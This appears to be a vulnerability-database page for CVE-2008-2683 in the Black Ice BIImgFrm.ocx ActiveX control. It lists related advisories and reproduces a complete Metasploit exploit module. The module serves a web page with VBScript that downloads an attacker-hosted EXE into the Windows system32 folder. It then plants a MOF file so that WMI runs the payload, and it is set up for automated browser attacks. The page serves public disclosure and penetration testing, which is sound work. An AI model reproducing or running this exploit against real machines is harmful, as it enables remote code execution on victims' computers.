Black Ice Cover Page ActiveX Control Arbitrary File Download

🗓️ 21 Jun 2011 00:00:00Reported by shinnaiType

packetstorm🔗 packetstormsecurity.com👁 48 Views

Black Ice ActiveX Control Arbitrary File Download via "DownloadImageFileURL" method allows remote attackers to place arbitrary files on user's system. Windows Management Instrumentation vulnerability enables code execution. Works for pre-Vista Windows

Reporter	Title	Published	Views	Family All 12
0day.today	Black Ice Cover Page ActiveX Control Arbitrary File Download	21 Jun 201100:00	–	zdt
0day.today	Black Ice Cover Page SDK insecure method DownloadImageFileURL()	20 Jun 201100:00	–	zdt
Circl	CVE-2008-2683	5 Jun 200800:00	–	circl
Check Point Advisories	Black Ice BIImgFrm.ocx ActiveX Code Execution (CVE-2008-2683)	16 Aug 201100:00	–	checkpoint_advisories
CVE	CVE-2008-2683	12 Jun 200810:00	–	cve
Cvelist	CVE-2008-2683	12 Jun 200810:00	–	cvelist
Exploit DB	Black Ice Cover Page SDK - Insecure Method 'DownloadImageFileURL()' (Metasploit)	20 Jun 201100:00	–	exploitdb
Exploit DB	Black Ice Cover Page - ActiveX Control Arbitrary File Download (Metasploit)	21 Jun 201100:00	–	exploitdb
exploitpack	Black Ice Cover Page SDK - Insecure Method DownloadImageFileURL() (Metasploit)	20 Jun 201100:00	–	exploitpack
Metasploit	Black Ice Cover Page ActiveX Control Arbitrary File Download	21 Jun 201102:51	–	metasploit

`##  
# $Id: blackice_downloadimagefileurl.rb 12992 2011-06-21 02:51:39Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:os_name => OperatingSystems::WINDOWS,  
:javascript => true,  
:rank => NormalRanking,  
:vuln_test => nil,  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',  
'Description' => %q{  
This module allows remote attackers to place arbitrary files on a users file system  
by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX  
Control (BIImgFrm.ocx 12.0.0.0). Code exeuction can be acheived by first uploading the  
payload to the remote machine, and then upload another mof file, which enables Windows  
Management Instrumentation service to execute the binary. Please note that this module  
currently only works for Windows before Vista. Also, a similar issue is reported in  
BIDIB.ocx (10.9.3.0) within the Barcode SDK.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[   
'shinnai', # original discovery  
'mr_me', # msf  
'sinn3r' # wbemexec tekniq  
],  
'Version' => '$Revision: 12992 $',  
'References' =>  
[  
[ 'CVE', '2008-2683'],  
[ 'OSVDB', '46007'],  
[ 'BID', '29577'],  
[ 'URL', 'http://www.exploit-db.com/exploits/5750/' ],  
],  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 2048,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
#Windows before Vista  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 05 2008'))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
  
if request.uri.match(/\.EXE/)  
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, @payload, { 'Content-Type' => 'application/octet-stream' })  
return  
elsif request.uri.match(/\.MOF/)  
return if @mof_name == nil or @payload_name == nil  
print_status("Generating mof...")  
mof = generate_mof(@mof_name, @payload_name)  
print_status("Sending MOF to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, mof, {'Content-Type'=>'application/octet-stream'})  
return  
end  
  
url = "http://"  
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
url += ":" + datastore['SRVPORT'] + get_resource() + "/"  
  
#VBScript variables  
clsid = "79956462-F148-497F-B247-DF35A095F80B"  
method = "DownloadImageFileURL"  
blackice = rand_text_alpha(rand(100) + 1) #BlackIce object ID  
@payload_name = rand_text_alpha(rand(10) + 1) + ".EXE" #Payload name  
payload_vbs_url_name = rand_text_alpha(5) #Payload's vbs var name  
payload_vbs_lpath = rand_text_alpha(6) #Payload's lpath var name  
@mof_name = rand_text_alpha(rand(10) + 1) + ".MOF" #MOF path on victim machine  
mof_vbs_url_name = rand_text_alpha(5) #MOF's vbs var name  
mof_vbs_lpath = rand_text_alpha(6) #MOF's lpath var name  
sub_name = rand_text_alpha(rand(10) + 1) #Subroutine name  
  
#Slow connection friendly: We will wait for 4 seconds before we try to execute our payload  
#This delay seems necessary before calling mof, otherwise we end up interrupting downloading  
#our payload  
content = <<-EOS  
<html>  
<object classid='clsid:#{clsid}' id='#{blackice}' ></object>  
<script language='vbscript'>  
sub #{sub_name}  
#{mof_vbs_url_name} = "#{url}#{@mof_name}"  
#{mof_vbs_lpath} = "C:\\WINDOWS\\system32\\wbem\\mof\\#{@mof_name}"  
#{blackice}.#{method} #{mof_vbs_url_name}, #{mof_vbs_lpath}  
end sub  
  
#{payload_vbs_url_name} = "#{url}#{@payload_name}"  
#{payload_vbs_lpath} = "C:\\WINDOWS\\system32\\#{@payload_name}"  
#{blackice}.#{method} #{payload_vbs_url_name}, #{payload_vbs_lpath}  
setTimeout "#{sub_name}()", 4000  
</script>  
</html>  
EOS  
  
#Clear the extra tabs  
content = content.gsub(/^\t\t/, '')  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
send_response_html(cli, content)  
handler(cli)  
  
end  
  
def exploit  
@payload = generate_payload_exe  
super  
end  
  
end  
`

21 Jun 2011 00:00Current

0.9Low risk

Vulners AI Score0.9

EPSS0.79398